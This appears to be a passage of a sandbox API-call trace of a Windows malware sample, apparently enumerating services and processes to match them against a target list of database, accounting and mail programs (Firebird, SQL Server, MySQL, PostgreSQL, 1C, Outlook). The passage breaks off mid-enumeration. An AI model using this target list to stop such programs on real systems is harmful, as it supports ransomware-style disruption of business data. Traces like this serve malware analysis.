	[0042.881] GetLastError () returned 0xea
	[0042.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x123e) returned 0x36a1308
	[0042.881] EnumServicesStatusExW (in: hSCManager=0x35d04d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a1308, cbBufSize=0x123e, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a1308, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0042.882] CloseServiceHandle (hSCObject=0x35d04d0) returned 1
	[0042.882] lstrlenW (lpString="Appinfo") returned 7
	[0042.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0042.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0042.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0042.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0042.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0042.882] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0042.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0042.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0042.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0042.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0042.883] lstrlenW (lpString="AudioSrv") returned 8
	[0042.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0042.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0042.883] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0042.883] lstrlenW (lpString="BFE") returned 3
	[0042.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0042.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0042.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0042.883] lstrlenW (lpString="CryptSvc") returned 8
	[0042.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0042.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0042.883] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0042.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0042.883] lstrlenW (lpString="CscService") returned 10
	[0042.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0042.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0042.884] lstrlenW (lpString="DcomLaunch") returned 10
	[0042.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0042.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0042.884] lstrlenW (lpString="Dhcp") returned 4
	[0042.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0042.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0042.884] lstrlenW (lpString="Dnscache") returned 8
	[0042.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0042.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0042.884] lstrlenW (lpString="DPS") returned 3
	[0042.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0042.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0042.884] lstrlenW (lpString="eventlog") returned 8
	[0042.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0042.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0042.884] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0042.884] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0042.885] lstrlenW (lpString="EventSystem") returned 11
	[0042.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0042.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0042.885] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0042.885] lstrlenW (lpString="gpsvc") returned 5
	[0042.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0042.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0042.885] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0042.885] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0042.885] lstrlenW (lpString="iphlpsvc") returned 8
	[0042.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0042.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0042.885] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0042.885] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0042.885] lstrlenW (lpString="LanmanServer") returned 12
	[0042.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0042.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0042.885] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0042.885] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0042.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0042.885] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0042.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0042.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0042.885] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0042.886] lstrlenW (lpString="lmhosts") returned 7
	[0042.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0042.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0042.886] lstrlenW (lpString="MMCSS") returned 5
	[0042.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0042.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0042.886] lstrlenW (lpString="MpsSvc") returned 6
	[0042.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0042.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0042.886] lstrlenW (lpString="Netman") returned 6
	[0042.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0042.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0042.886] lstrlenW (lpString="netprofm") returned 8
	[0042.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0042.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0042.886] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0042.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0042.887] lstrlenW (lpString="NlaSvc") returned 6
	[0042.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0042.887] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0042.887] lstrlenW (lpString="nsi") returned 3
	[0042.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0042.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0042.887] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0042.887] lstrlenW (lpString="PcaSvc") returned 6
	[0042.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0042.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0042.887] lstrlenW (lpString="PlugPlay") returned 8
	[0042.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0042.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0042.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0042.887] lstrlenW (lpString="Power") returned 5
	[0042.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0042.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0042.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0042.888] lstrlenW (lpString="ProfSvc") returned 7
	[0042.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0042.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0042.888] lstrlenW (lpString="RpcEptMapper") returned 12
	[0042.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0042.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0042.888] lstrlenW (lpString="RpcSs") returned 5
	[0042.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0042.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0042.888] lstrlenW (lpString="SamSs") returned 5
	[0042.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0042.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0042.888] lstrlenW (lpString="Schedule") returned 8
	[0042.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0042.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0042.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0042.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0042.888] lstrlenW (lpString="SENS") returned 4
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0042.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0042.889] lstrlenW (lpString="ShellHWDetection") returned 16
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0042.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0042.889] lstrlenW (lpString="Spooler") returned 7
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0042.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0042.889] lstrlenW (lpString="SysMain") returned 7
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0042.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0042.889] lstrlenW (lpString="Themes") returned 6
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0042.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0042.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0042.889] lstrlenW (lpString="TrkWks") returned 6
	[0042.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0042.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0042.890] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0042.890] lstrlenW (lpString="UxSms") returned 5
	[0042.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0042.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0042.890] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0042.890] lstrlenW (lpString="VSS") returned 3
	[0042.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0042.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0042.890] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0042.890] lstrlenW (lpString="WdiServiceHost") returned 14
	[0042.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0042.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0042.890] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0042.890] lstrlenW (lpString="WdiSystemHost") returned 13
	[0042.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0042.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0042.890] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0042.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0042.890] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0042.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.891] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0042.891] lstrlenW (lpString="Winmgmt") returned 7
	[0042.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0042.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0042.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0042.891] lstrlenW (lpString="WPDBusEnum") returned 10
	[0042.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0042.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0042.891] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0042.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0042.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a1308 | out: hHeap=0x4f0000) returned 1
	[0042.891] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160
	[0042.894] Process32FirstW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0042.894] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0042.895] lstrlenW (lpString="System") returned 6
	[0042.895] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0042.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0042.895] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0042.896] lstrlenW (lpString="smss.exe") returned 8
	[0042.896] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0042.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0042.896] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.897] lstrlenW (lpString="csrss.exe") returned 9
	[0042.897] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0042.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0042.897] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0042.897] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0042.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0042.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0042.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0042.897] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0042.898] lstrlenW (lpString="wininit.exe") returned 11
	[0042.898] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0042.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0042.898] Process32NextW (in: hSnapshot=0x160, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0042.899] lstrlenW (lpString="csrss.exe") returned 9
	[0042.899] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
